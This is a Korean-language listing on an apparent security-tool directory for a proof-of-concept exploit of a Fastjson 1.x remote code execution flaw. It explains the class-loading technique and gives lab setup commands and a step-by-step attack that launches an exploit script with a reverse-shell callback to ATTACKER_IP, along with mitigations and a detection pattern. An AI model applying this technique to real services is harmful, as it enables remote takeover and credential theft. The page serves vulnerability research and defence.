Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-16723 — CVE-2026-16723에 대한 개념 증명 익스플로잇으로, Fastjson 1.x @JSONType 원격 코드 실행 취약점이며, 페이로드 JAR 빌더와 리버스 셸 리스너를 포함합니다. | Kitploit
도구/GitHubGitHub/yym8538/cve-2026-16723
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubyym8538/cve-2026-16723

CVE-2026-16723

CVE-2026-16723에 대한 개념 증명 익스플로잇으로, Fastjson 1.x @JSONType 원격 코드 실행 취약점이며, 페이로드 JAR 빌더와 리버스 셸 리스너를 포함합니다.

저장소 보기
131개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-16723 Fastjson RCE

★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★


개요

CVE-2026-16723은 Fastjson 1.x(1.2.68 – 1.2.83)의 원격 코드 실행(RCE) 취약점입니다. Fastjson이 공격자가 제어하는 JSON을 파싱할 때, 조작된 @type 값이 checkAutoType 내부에서 클래스 리소스 조회로 변환됩니다. Spring Boot 실행 가능 fat-JAR에서 클래스 로더는 해당 이름을 jar:http:// URL로 해석하여 원격 JAR을 가져오고(SSRF), AutoType이 비활성화되어 있음에도 불구하고 @JSONType 애노테이션이 붙은 클래스를 로드합니다. 최신 JDK / Tomcat은 jar:http:// 바이너리 이름을 거부하기 때문에, 신뢰할 수 있는 변형은 JAR을 JVM 캐시에 심고 jar:file:/proc/self/fd/N을 통해 다시 읽어들여, 클래스가 정의되고 정적 초기화자가 실행되어 코드 실행이 이루어집니다. AutoType은 비활성화된 상태로 유지되며 클래스패스 가젯이 필요하지 않습니다.


영향받는 버전

CategoryVersion
취약Fastjson 1.2.68 ≤ version ≤ 1.2.83
패치됨Fastjson 2.x로 마이그레이션 (수정된 1.x 릴리스 없음)

영향

  • 서비스 계정 권한으로 원격 코드 실행
  • 호스트 및 환경으로부터의 시크릿 / 자격 증명 유출
  • 영향받는 애플리케이션의 완전한 장악

환경

랩 대상은 검색 API가 요청 본문을 Fastjson으로 바인딩하는 공개 스토어프론트(Northwind Store)입니다. 모든 것이 Fastjson의 기본 설정입니다: SafeMode 꺼짐, AutoType 꺼짐, Spring Boot fat-JAR로 패키징됨.

docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
PreconditionState in this lab
Fastjson 1.2.68 – 1.2.831.2.83
Spring Boot executable fat-JARyes
Unauthenticated JSON parse pathPOST /api/products/search
SafeMode / AutoTypedefault (both off)

PoC

공격자와 대상은 동일한 Docker 브리지 네트워크에서 실행되므로, 대상은 아웃바운드 연결로 공격자에 도달합니다(추가 포트가 게시되지 않음).

Step 1. 대상이 실행 중인지 확인

curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'

Step 2. 공격자 머신에서 익스플로잇 실행

exploit.py는 페이로드 JAR을 빌드하고, 이를 서비스하고, 리스너를 시작하고, 요청 본문을 출력합니다. 콜백 주소만 필요합니다.

python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444

Step 3. 페이로드 전달

출력된 본문을 검색 엔드포인트(Burp Repeater 또는 curl)에 붙여넣고 전송합니다. 검색 요청은 정상적인 기능이며, 그 JSON 본문만 조작됩니다.

curl -X POST http://TARGET_IP:8080/api/products/search \
  -H 'Content-Type: application/json' --data-binary @body.json

Step 4. 결과 확인

코드는 서비스 계정으로 실행됩니다. 획득한 셸을 통해 플래그를 가져옵니다:

whoami

완화

  • Fastjson 2.x로 마이그레이션
  • 또는 com.alibaba:fastjson:1.2.83_noneautotype 실행
  • 또는 JVM을 -Dfastjson.parser.safeMode=true로 시작
  • 탐지: jar:http 또는 jar:file / /proc/self/fd 패턴을 포함하는 JSON @type 값

분석

  • KR:
  • EN:
도구 다운로드